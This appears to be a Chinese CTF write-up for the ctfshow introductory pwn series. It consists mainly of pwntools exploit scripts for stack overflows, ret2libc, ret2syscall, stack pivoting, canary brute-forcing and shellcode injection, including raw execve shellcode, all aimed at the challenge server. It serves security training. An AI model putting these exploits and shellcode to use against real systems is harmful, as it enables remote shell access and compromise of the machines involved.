pwn入门 一、Test_your_nc pwn0 1 2 3 cd / ls cat ctfshow_flag
pwn1
pwn2
pwn3
pwn4 1 2 CTFshowPWN cat ctfshow_flag
二、前置基础 pwn5
pwn6
pwn7
pwn8
pwn9
pwn10
pwn11
pwn12
pwn13 1 2 gcc flag.c -o flag ./flag
pwn14 1 2 3 echo CTFshow > key gcc flag.c -o flag ./flag
pwn15 1 2 3 nasm -f elf64 flag.asm ld -s -o flag flag.o ./flag
pwn16 1 2 gcc flag.s -o flag ./flag
pwn17 1 2 3 2 ;/bin/sh cat ctfshow_flag
pwn18
pwn19
pwn20 1 readelf -S pwn或者直接IDA看也可以(flag中字母小写)
pwn21 1 Partial RELRO表示.got不可写而.got.plt可写
pwn22
pwn23
pwn24(ret2shellcode)
这里看出栈长度为0x10,read读入大小为0x100因此可以进行栈溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * p = remote('pwn.challenge.ctf.show', 28140) offset = 0x10 + 4 shellcode = asm(shellcraft.sh()) payload = b'a' * offset + shellcode p.send(payload) p.interactive()
pwn25(ret2libc) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import * from LibcSearcher3 import * p = remote('pwn.challenge.ctf.show', 28151) elf = ELF('./pwn') offset = 0x88 + 4 puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_addr = elf.sym['main'] payload1 = b'a' * offset + p32(puts_plt) + p32(main_addr) + p32(puts_got) p.sendline(payload1) puts_addr = u32(p.recvuntil('\xf7')[-4:]) libc = LibcSearcher('puts', puts_addr) libcbase = puts_addr - libc.dump('puts') sys_addr = libcbase + libc.dump('system') bin_sh_addr = libcbase + libc.dump('str_bin_sh') payload2 = b'a' * offset + p32(sys_addr) + p32(main_addr) + p32(bin_sh_addr) p.sendline(payload2) p.interactive()
pwn26 1 2 3 4 5 cat /proc/sys/kernel/randomize_va_space # 查看ALSR参数 # 若不是0 su root echo 0 > /proc/sys/kernel/randomize_va_space ./pwn
pwn27
pwn28
pwn29
pwn30(ret2libc) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import * from LibcSearcher3 import * context.log_level = 'debug' p = remote("pwn.challenge.ctf.show", "28299") elf = ELF("./pwn") offset = 0x88 + 0x4 main_addr = elf.sym['main'] puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] payload = offset * b'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got) p.sendline(payload) puts_addr = u32(p.recvuntil('\xf7')) libc = LibcSearcher("puts",puts_addr) libcbase = puts_addr - libc.dump("puts") system_addr = libcbase + libc.dump("system") binsh_addr = libcbase + libc.dump("str_bin_sh") payload = offset * b'a' + p32(system_addr) + b'a' * 4 + p32(binsh_addr) p.sendline(payload) p.interactive()
pwn31 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import * from LibcSearcher3 import * context(arch='i386',os='linux',log_level='debug') p = remote("pwn.challenge.ctf.show",28148) elf = ELF("./pwn") main_real_addr = int(p.recv().strip(),16) main_addr = elf.symbols['main'] base_addr = main_real_addr - main_addr puts_plt = base_addr + elf.symbols['puts'] puts_got = base_addr + elf.got['puts'] ctfshow_addr = base_addr + elf.symbols['ctfshow'] ebx = base_addr + 0x1fc0 payload0 = b'a' * 132 + p32(ebx) + b'a' * 4 + p32(puts_plt) + p32(main_real_addr) + p32(puts_got) p.send(payload0) puts_addr = u32(p.recv(4)) libc = LibcSearcher("puts",puts_addr) libc_base = puts_addr - libc.dump('puts') system_addr = libc_base + libc.dump("system") binsh_addr = libc_base + libc.dump("str_bin_sh") payload = b'a' * 140 + p32(system_addr) + p32(ctfshow_addr) + p32(binsh_addr) p.send(payload) p.interactive()
pwn32
这里看到在程序参数大于4是会进入一个undefined()函数
这里看到undefined()函数实际上是执行读取flag的操作,因此本题只需在运行程序时使用大于四个参数即可
pwn33
pwn34
三、栈溢出 pwn35 1 没搞懂为什么会输出flag,但是栈溢出肯定是有的,运行程序时给一个长度大于0x6C的参数即可
pwn36(ret2text) 1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * p = remote('pwn.challenge.ctf.show', 28181) offset = 0x28 + 4 get_flag = 0x8048586 payload = b'a' * offset + p32(get_flag) p.send(payload) p.interactive()
pwn37(ret2text) 1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * p = remote('pwn.challenge.ctf.show', 28146) offset = 0x12 + 4 backdoor = 0x8048521 payload = b'a' * offset + p32(backdoor) p.sendline(payload) p.interactive()
pwn38(ret2text)
64位注意栈对齐
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * p = remote('pwn.challenge.ctf.show', 28251) offset = 0xA + 8 backdoor = 0x400658 payload = b'a' * offset + p64(backdoor) p.send(payload) p.interactive()
pwn39(ret2text)
system函数和/bin/sh不在一起时自己构造payload即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import * p = remote('pwn.challenge.ctf.show', 28105) sys_addr = 0x80483A0 bin_sh_addr = 0x8048750 offset = 0x12 + 4 payload = b'a' * offset + p32(sys_addr) + p32(0) + p32(bin_sh_addr) p.send(payload) p.interactive()
pwn40(ret2text) 1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * p = remote("pwn.challenge.ctf.show", "28117") rdi_ret_addr = 0x4007e3 bin_sh_addr = 0x400808 system_addr = 0x400520 ret_addr = 0x4004fe payload = 'a' * (0xA+0x8) + p64(rdi_ret_addr) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr) p.sendline(payload) p.interactive()
pwn41(ret2text) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import * p = remote('pwn.challenge.ctf.show', 28185) offset = 0x12 + 4 sh_addr = 0x80487BA system_addr = 0x804856E payload = b'a' * offset + p32(system_addr) + p32(sh_addr) p.sendline(payload) p.interactive()
pwn42(ret2text) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import * p = remote('pwn.challenge.ctf.show', 28132) offset = 0xA + 8 sys_addr = 0x4006B2 sh_addr = 0x400872 pop_rdi = 0x400843 payload = b'a' * offset + p64(pop_rdi) + p64(sh_addr) + p64(sys_addr) p.sendline(payload) p.interactive()
pwn43(ret2text) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import * p = remote('pwn.challenge.ctf.show', 28162) elf = ELF('../code/pwn') offset = 0x6c + 4 gets_addr = 0x8048420 bss_addr = 0x804B061 sys_addr = 0x8048450 payload = b'a' * offset + p32(gets_addr) + p32(sys_addr) + p32(bss_addr) + p32(bss_addr) p.sendline(payload) p.send('/bin/sh\x00') p.interactive()
pwn44(ret2text) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import * p = remote('pwn.challenge.ctf.show', 28259) gets_addr = 0x400530 sys_addr = 0x400520 bss_addr = 0x602081 pop_rdi = 0x4007f3 offset = 0xA + 8 payload = b'a' * offset + p64(pop_rdi) + p64(bss_addr) + p64(gets_addr) + p64(pop_rdi) + p64(bss_addr) + p64(sys_addr) p.sendline(payload) p.send('/bin/sh\x00') p.interactive()
pwn45(ret2libc) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import * from LibcSearcher3 import * context.log_level = 'debug' p = remote('pwn.challenge.ctf.show', 28197) elf = ELF('../code/pwn') offset = 0x6B + 4 write_plt = elf.plt['write'] write_got = elf.got['write'] main_addr = elf.sym['main'] payload = b'a' * offset + p32(write_plt) + p32(main_addr) + p32(0) + p32(write_got) + p32(0x10) p.sendlineafter('O.o?\n', payload) write_addr = u32(p.recvuntil(b'\xf7')) libc = LibcSearcher('write', write_addr) libcbase = write_addr - libc.dump('write') sys_addr = libcbase + libc.dump('system') bin_sh_addr = libcbase + libc.dump('str_bin_sh') payload2 = b'a' * offset + p32(sys_addr) + p32(main_addr) + p32(bin_sh_addr) p.sendline(payload2) p.interactive()
pwn46(ret2libc) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import * from LibcSearcher3 import * context.log_level = 'debug' p = remote('pwn.challenge.ctf.show', 28218) elf = ELF('../code/pwn') offset = 0x70 + 8 pop_rdi = 0x400803 pop_rsi_r15 = 0x400801 write_plt = elf.plt['write'] write_got = elf.got['write'] main_addr = elf.sym['main'] payload = b'a' * offset + p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(write_got) + p64(0) + p64(write_plt)+ p64(main_addr) p.sendlineafter('O.o?\n', payload) write_addr = u64(p.recvuntil(b'\x7f')[-6:] + b'\x00\x00') libc = LibcSearcher('write', write_addr) libcbase = write_addr - libc.dump('write') sys_addr = libcbase + libc.dump('system') bin_sh_addr = libcbase + libc.dump('str_bin_sh') payload2 = b'a' * offset + p64(pop_rdi) + p64(bin_sh_addr) + p64(sys_addr) p.sendline(payload2) p.interactive()
pwn47(ret2libc) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import * from LibcSearcher3 import * offset = 0x9C + 4 p = remote('pwn.challenge.ctf.show', 28276) p.recvuntil('puts: ') puts_addr = eval(p.recvuntil("\n", drop = True)) success(puts_addr) bin_sh_addr = 0x804b028 libc = LibcSearcher('puts', puts_addr) libcbase = puts_addr - libc.dump('puts') sys_addr = libcbase + libc.dump('system') payload = b'a' * offset + p32(sys_addr) + p32(0) + p32(bin_sh_addr) p.sendline(payload) p.interactive()
pwn48(ret2libc) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import * from LibcSearcher3 import * context.log_level = 'debug' p = remote('pwn.challenge.ctf.show', 28130) elf = ELF('../code/pwn') puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_addr = elf.sym['main'] offset = 0x6B + 4 payload = b'a' * offset + p32(puts_plt) + p32(main_addr) + p32(puts_got) p.sendlineafter('O.o?\n', payload) puts_addr = u32(p.recvuntil('\xf7')[:4]) success(puts_addr) libc = LibcSearcher('puts', puts_addr) libcbase = puts_addr - libc.dump('puts') sys_addr = libcbase + libc.dump('system') bin_sh_addr = libcbase + libc.dump('str_bin_sh') payload2 = b'a' * offset + p32(sys_addr) + p32(main_addr) + p32(bin_sh_addr) p.sendline(payload2) p.interactive()
pwn49(ret2shellcode + 静态编译)
mprotect函数修改内存权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import * p = remote('pwn.challenge.ctf.show', 28278) offset = 0x12 + 4 mprotect_addr = 0x806CDD0 read_addr = 0x806BEE0 got_addr = 0x80db320 //这里为什么不能用bss段地址:因为mprotect要求addr必须是内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。 pop_eax_edx_ebx = 0x8056194 shellcode = asm(shellcraft.sh(), arch='i386', os='linux') payload = b'a' * offset + p32(mprotect_addr) + p32(pop_eax_edx_ebx) + p32(got_addr) + p32(0x1000) + p32(0x7) + p32(read_addr) + p32(got_addr) + p32(0) + p32(got_addr) + p32(len(shellcode)) p.recvuntil(' * ************************************* ') p.sendline(payload) p.sendline(shellcode) p.interactive()
pwn50(ret2libc)
这题使用LibcSearcher3获取的libc版本错误,使用LibcSearcher则没有这个问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import * from LibcSearcher import * context(log_level = 'debug', arch = 'amd64', os = 'linux') p = remote('pwn.challenge.ctf.show', 28236) elf = ELF('../code/pwn') puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_addr = elf.sym['ctfshow'] pop_rdi = 0x4007e3 ret = 0x4004fe offset = 0x20 + 8 payload = b'a' * offset + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) p.recvuntil('Hello CTFshow\n') p.sendline(payload) puts_addr = u64(p.recvuntil(b'\x7f')[-6:] + b'\x00\x00') print('puts address --> ', hex(puts_addr)) libc = LibcSearcher('puts', puts_addr) libcbase = puts_addr - libc.dump('puts') sys_addr = libcbase + libc.dump('system') bin_sh_addr = libcbase + libc.dump('str_bin_sh') payload2 = b'a' * offset + p64(pop_rdi) + p64(bin_sh_addr) + p64(ret) + p64(sys_addr) p.recvuntil('Hello CTFshow\n') p.sendline(payload2) p.interactive()
pwn51(ret2text)
逆向调试确定一个“I”会替换成“IronMan”,随后栈溢出ret2text即可
1 2 3 4 5 6 7 8 9 10 11 from pwn import * p = remote('pwn.challenge.ctf.show', 28174) backdoor = 0x804902E payload = b'I' * (0x6C // 7) + b'a' * (0x6c - 0x6C // 7 * 7 + 4) + p32(backdoor) p.sendline(payload) p.interactive()
pwn52(ret2text) 1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * p = remote('pwn.challenge.ctf.show', 28148) flag_addr = 0x8048586 offset = 0x6c + 4 payload = b'a' * offset + p32(flag_addr) + p32(0) + p32(876) + p32(877) p.sendline(payload) p.interactive()
pwn53(ret2text+canary)
本题主要是模拟了canary的实现,由于canary是从文件中读出的,所以推测其可能是一个固定值,因此这里我们可以采用爆破的方法来解决
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import * canary = b'' print(type(canary)) for i in range(4): for c in range(0xFF): p = remote('pwn.challenge.ctf.show', 28192) p.sendlineafter('>', '-1') offset = 0x20 payload = b'a' * offset + canary + p8(c) p.sendafter('$ ', payload) # p.recv(1) response = p.recv() print(response.decode()) if 'Canary Value Incorrect!' not in response.decode(): canary = canary + p8(c) break p.close() print('canary is: ', canary) p = remote('pwn.challenge.ctf.show', 28192) flag_addr = 0x8048696 payload = b'a' * 0x20 + canary + p32(0) * 4 + p32(flag_addr) p.sendlineafter('>', '-1') p.sendafter('$ ', payload) p.interactive()
pwn54
这里我们看到v5刚好在栈中在存储密码的字符串s上面,因此这里我们只需把v5的256字节填充满就可以将密码泄露出来,随后用改密码登录即可
pwn55(ret2text)
这题主要就是涉及32位函数传参
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import * p = remote('pwn.challenge.ctf.show', 28103) offset = 0x2C + 4 flag_addr = 0x8048606 flag2_addr = 0x804859D flag1_addr = 0x8048586 payload = b'a' * offset + p32(flag1_addr) + p32(flag2_addr) + p32(flag_addr) + p32(0xACACACAC) + p32(0xBDBDBDBD) p.sendline(payload) p.interactive()
pwn56(ret2shellcode)
nc即可,主要是帮助理解32位shellcode的编写
pwn57(ret2shellcode)
nc即可,主要是帮助理解64位shellcode的编写
pwn58(ret2shellcode)
简单的ret2shellcode,查看汇编只需要将shellcode写到字符串s上即可
1 2 3 4 5 6 7 8 9 from pwn import * p = remote('pwn.challenge.ctf.show', 28255) shellcode = asm(shellcraft.sh()) p.sendlineafter('Attach it!\n', shellcode) p.interactive()
pwn59(ret2shellcode)
同上
1 2 3 4 5 6 7 8 9 10 11 from pwn import * context(arch = 'amd64', os = 'linux') p = remote('pwn.challenge.ctf.show', 28286) shellcode = asm(shellcraft.sh()) p.sendlineafter('Attach it!\n', shellcode) p.interactive()
pwn60(ret2shellcode)
这里IDA中的偏移有点问题,还是需要自己去GDB中调试一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import * context(arch = 'i386', os = 'linux') p = remote('pwn.challenge.ctf.show', 28272) shellcode = asm(shellcraft.sh()).ljust(0x70, b'a') buf2_addr = 0x804A080 payload = shellcode + p32(buf2_addr) p.sendlineafter('CTFshow-pwn can u pwn me here!!\n', payload) p.interactive()
pwn61(ret2shellcode)
这里需要注意一个问题,leave操作相当于mov rsp, rbp; pop rbp;而我们的shellcode中包含对rsp的操作,所以leave会影响我们shellcode的执行,因此我们的shellcode不能直接放在v5上,而应该放在其后面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import * context(arch = 'amd64', os = 'linux') p = remote('pwn.challenge.ctf.show', 28164) p.recvuntil('[') v5_addr = p.recvuntil(']', drop=True) v5_addr = int(v5_addr, 16) shellcode = asm(shellcraft.sh()) payload = cyclic(0x10 + 8) + p64(v5_addr + 0x10 + 8 + 8) + shellcode p.sendline(payload) p.interactive()
pwn62(ret2shellcode)
基本步骤同上,但是本题给出的read函数能读取的长度有限,因此不能直接使用pwntools中的shellcode,需要自行构造shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import * context(arch = 'amd64', os = 'linux', log_level='debug') p = remote('pwn.challenge.ctf.show', 28111) padding = 0x10+8 shell_code = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05' p.recvuntil("What's this : [") v5_addr = eval(p.recvuntil("]",drop=True)) print(hex(v5_addr)) payload = cyclic(padding) + p64(v5_addr + padding + 8) + shell_code p.sendline(payload) p.recv() p.interactive()
pwn63(ret2shellcode)
同上,因为这里我的shellcode足够短,因此两问用同一个exp就好啦
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import * context(arch = 'amd64', os = 'linux', log_level='debug') p = remote('pwn.challenge.ctf.show', 28234) padding = 0x10+8 shell_code = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05' p.recvuntil("What's this : [") v5_addr = eval(p.recvuntil("]",drop=True)) print(hex(v5_addr)) payload = cyclic(padding) + p64(v5_addr + padding + 8) + shell_code p.sendline(payload) p.recv() p.interactive()
pwn64(ret2shellcode)
buf = mmap(0, 0x400u, 7, 34, 0, 0);
这里用到mmap分配地址,7:可读可写可执行,因此我们还是可以直接将shellcode写入buf中
1 2 3 4 5 6 7 8 9 10 11 from pwn import * context(arch = 'i386', os = 'linux') p = remote('pwn.challenge.ctf.show', 28304) shellcode = asm(shellcraft.sh()) p.sendline(shellcode) p.interactive()
pwn65(ret2shellcode)
这题就是在一般shellcode的基础上,过滤掉了一些不可见字符。因此这里我们需要使用工具alpha3,将我们的shellcode转化为可见字符串形式
1 2 3 4 5 6 7 8 9 10 11 12 13 git clone https://github.com/TaQini/alpha3.git from pwn import * context(arch = 'amd64',os = 'linux',log_level = 'debug') p = remote('pwn.challenge.ctf.show', 28289) p.recvuntil("Shellcode") shellcode = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t" p.send(shellcode) p.interactive()
pwn66(ret2shellcode)
‘/x00’跳过检查然后+任意字符如’/xc0’组成一个汇编语句组到shellcode中
1 2 3 4 5 6 7 8 9 10 11 from pwn import * context(arch = 'amd64',os = 'linux',log_level = 'debug') p = remote('pwn.challenge.ctf.show',28128) shellcode = '\x00\xc0' + asm(shellcraft.sh()) p.sendline(shellcode) p.interactive()
pwn67(ret2shellcode + nop sled)
nop sled:说白了就是我们知道我们写入的shellcode的一个大致范围,但是具体位置不清楚。因此我们可以通过向这片区域填充nop来达到使程序计数器加一的目的,从而让程序最终运行到我们需要的shellcode的位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import * context(arch = 'i386', os = 'linux', log_level = 'debug') p = remote('pwn.challenge.ctf.show', 28234) shellcode = asm(shellcraft.sh()) p.recvuntil('location: 0x') addr = int(p.recvuntil('\n', drop=True), 16) log.success(hex(addr)) payload = 1336 * b'\x90' + shellcode p.recvuntil('> ') p.sendline(payload) p.recvuntil('> ') addr = addr + 0x2d + 668 p.send(hex(addr)) p.interactive()
pwn68(ret2shellcode + nop sled)
同上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import * context(arch = 'amd64', os = 'linux', log_level = 'debug') p = remote('pwn.challenge.ctf.show', 28171) shellcode = asm(shellcraft.sh()) p.recvuntil('location: 0x') addr = int(p.recvuntil('\n', drop=True), 16) log.success(hex(addr)) payload = b'\x90' * 1336 + shellcode p.recvuntil('> ') p.sendline(payload) addr = addr + 0x15 + 0x8 + 0x8 + 668 p.recvuntil('> ') p.send(hex(addr)) p.interactive()
pwn69(ret2shellcode + orw) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import * context(arch="amd64",log_level="debug") p = remote("pwn.challenge.ctf.show", 28118) addr=0x123000 jmp_rsp=0x0000000000400A01 payload = asm(shellcraft.read(0,addr,0x100))+asm("mov rax,0x123000; jmp rax") payload=payload.ljust(0x28,b'\x00') payload += p64(jmp_rsp) + asm("sub rsp,0x30; jmp rsp") p.recvuntil(b'to do') p.sendline(payload) payload1 = shellcraft.open('/ctfshow_flag',0) payload1 += shellcraft.read(3, addr, 100) payload1 += shellcraft.write(1, addr, 100) payload1=asm(payload1) p.sendline(payload1) p.interactive()
pwn70(ret2shellcode + orw) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *context(log_level='debug' ,os='linux' ,arch='amd64' ) p = remote('pwn.challenge.ctf.show' ,28175 ) shellcode = ''' push 0 mov r15, 0x67616c66 push r15 mov rdi, rsp mov rsi, 0 mov rax, 2 syscall mov r14, 3 mov rdi, r14 mov rsi, rsp mov rdx, 0xff mov rax, 0 syscall mov rdi,1 mov rsi, rsp mov rdx, 0xff mov rax, 1 syscall ''' payload = asm(shellcode) p.sendline(payload) p.interactive()
pwn71(ret2syscall) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import * p = remote('pwn.challenge.ctf.show' , 28166 ) pop_eax = 0x80bb196 pop_edx_ecx_ebx = 0x806eb90 int_80 = 0x8049421 bin_sh_addr = 0x80BE408 offset = 112 payload = b'a' * offset + p32(pop_eax) + p32(0xb ) + p32(pop_edx_ecx_ebx) + p32(0 ) + p32(0 ) + p32(bin_sh_addr) + p32(int_80) p.recvuntil('Try to use ret2syscall!\n' ) p.sendline(payload) p.interactive()
pwn72(ret2syscall) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *p = remote('pwn.challenge.ctf.show' , 28131 ) pop_eax = 0x80bb2c6 pop_edx_ecx_ebx = 0x806ecb0 int_80 = 0x806F350 bss_addr = 0x80eb000 main_addr = 0x8048E24 offset = 44 payload = b'a' * offset + p32(pop_eax) + p32(0x3 ) + p32(pop_edx_ecx_ebx) + p32(0x10 ) + p32(bss_addr) + p32(0 ) + p32(int_80) + p32(pop_eax) + p32(0xb ) + p32(pop_edx_ecx_ebx) + p32(0 ) + p32(0 ) + p32(bss_addr) + p32(int_80) p.recvuntil('where is my system?\n' ) p.sendline(payload) p.sendline(b'/bin/sh\x00' ) p.interactive()
pwn73(ret2syscall) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *p = remote('pwn.challenge.ctf.show' , 28181 ) offset = 28 pop_eax = 0x80b81c6 pop_edx_ecx_ebx = 0x806f050 int_80 = 0x806F630 bss_addr = 0x80EAF80 payload = b'a' * offset + p32(pop_eax) + p32(0x3 ) + p32(pop_edx_ecx_ebx) + p32(0x10 ) + p32(bss_addr) + p32(0 ) + p32(int_80) payload += p32(pop_eax) + p32(0xb ) + p32(pop_edx_ecx_ebx) + p32(0 ) + p32(0 ) + p32(bss_addr) + p32(int_80) p.sendline(payload) p.sendline(b'/bin/sh\x00' ) p.interactive()
pwn74(one_gadget)
one_gadget是libc中存在的一些执行execve("/bin/sh", NULL, NULL)的片段,当可以泄露libc地址,并且可以知道libc版本的时候,可以使用此方法来快速控制指令寄存器开启shell。
相比于system("/bin/sh"),这种方式更加方便,不用控制RDI、RSI、RDX等参数。运用于不利构造参数的情况。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *p = remote('pwn.challenge.ctf.show' , 28122 ) libc = ELF('libc.so.6' ) one_gadget = 0x10a2fc p.recvuntil('this:' ) print_addr = int (p.recv(14 ), 16 ) libcbase = print_addr - libc.sym['printf' ] payload = one_gadget + libcbase p.sendline(str (payload)) p.interactive()
pwn75(栈迁移) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *p = remote('pwn.challenge.ctf.show' , 28144 ) elf = ELF('../code/pwn' ) leave_ret = 0x8048766 sys_addr = 0x8048400 offset = 0x28 p.recvuntil('codename:' ) payload1 = b'a' * (offset - 0x4 ) + b'show' p.sendline(payload1) p.recvuntil('show' ) ebp = u32(p.recv(4 ).ljust(4 , b'\x00' )) buf = ebp - 0x38 payload2 = (p32(sys_addr) + p32(0 ) + p32(buf + 12 ) + b'/bin/sh\x00' ).ljust(0x28 , b'a' ) + p32(buf - 4 ) + p32(leave_ret) p.sendline(payload2) p.interactive()
pwn76(ret2text) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *import base64p = remote('pwn.challenge.ctf.show' , 28152 ) input_addr = 0x811EB40 sys_addr = 0x8049284 payload = b'aaaa' + p32(sys_addr) + p32(input_addr) payload = base64.b64encode(pay load) p.sendlineafter(': ' , payload) p.interactive()
pwn77(ret2libc) 这里主要是实现了一个类似于gets功能的函数,解题的关键点在于我们在往v2中输入数据时最终会覆盖到v4,而这里的v4是数组v2的下标,如果我们使用任意的数据进行覆盖的话会导致程序出现意想不到的问题。因此采用正确的v4的值对对应的位置进行覆盖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *from LibcSearcher import * p = remote('pwn.challenge.ctf.show' , 28231 ) elf = ELF('../code/pwn' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] ctfshow = elf.sym['ctfshow' ] pop_rdi = 0x4008e3 ret = 0x400576 offset = 0x110 payload1 = b'a' * (offset - 4 ) + p32(0x10d ) + b'a' * 8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ctfshow) p.recvuntil('T^T\n' ) p.sendline(payload1) puts_addr = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) libc = LibcSearcher('puts' , puts_addr) libcbase = puts_addr - libc.dump('puts' ) sys_addr = libcbase + libc.dump('system' ) bin_sh_addr = libcbase + libc.dump('str_bin_sh' ) payload2 = b'a' * (offset - 4 ) + p32(0x10d ) + b'a' * 8 + p64(ret) + p64(pop_rdi) + p64(bin_sh_addr) + p64(sys_addr) p.sendline(payload2) p.interactive()
对于官方的题解之所以是填充的’\x18’,开始在网上看的是说’\x18’是控制符号,表示取消,但是其实不是的。’\x18’其实是表示程序要把v4序号的位置移到栈上ret的位置。之所以是’\x18’实际上是我们要把v4的值改为0x118(这里实际就是ret地址的位置),因为我们v4高一位其实在v4++过程中已经是1了,因此我们这里填充’\x18’随后跟pop_rdi就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *from LibcSearcher import *p = remote('pwn.challenge.ctf.show' , 28219 ) elf = ELF('../code/pwn' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] ctfshow = elf.sym['ctfshow' ] pop_rdi = 0x4008e3 ret = 0x400576 offset = 0x110 payload1 = b'a' * (offset - 4 ) + b'\x18' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ctfshow) p.recvuntil('T^T\n' ) p.sendline(payload1) puts_addr = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) libc = LibcSearcher('puts' , puts_addr) libcbase = puts_addr - libc.dump('puts' ) sys_addr = libcbase + libc.dump('system' ) bin_sh_addr = libcbase + libc.dump('str_bin_sh' ) payload2 = b'a' * (offset - 4 ) + b'\x18' + p64(ret) + p64(pop_rdi) + p64(bin_sh_addr) + p64(sys_addr) p.sendline(payload2) p.interactive()
pwn79(ret2libc) 这里简单注意一下strcpy函数,因为我在这里开始的时候第二个payload这里返回地址写了p64(0)导致一直无法getshell😢
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *from LibcSearcher import *context.log_level = 'debug' p = remote('pwn.challenge.ctf.show' , 28237 ) elf = ELF('../code/pwn' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main_addr = elf.sym['main' ] offset = 0x208 + 4 payload = b'a' * offset + p32(puts_plt) + p32(main_addr) + p32(puts_got) p.recvuntil('Enter your input: ' ) p.sendline(payload) puts_addr = u32(p.recvuntil('\xf7' )[-4 :]) log.success(hex (puts_addr)) libc = LibcSearcher('puts' , puts_addr) libcbase = puts_addr - libc.dump('puts' ) sys_addr = libcbase + libc.dump('system' ) bin_sh_addr = libcbase + libc.dump('str_bin_sh' ) payload2 = b'a' * offset + p32(sys_addr) + p32(main_addr) + p32(bin_sh_addr) p.recvuntil('Enter your input: ' ) p.sendline(payload2) p.interactive()
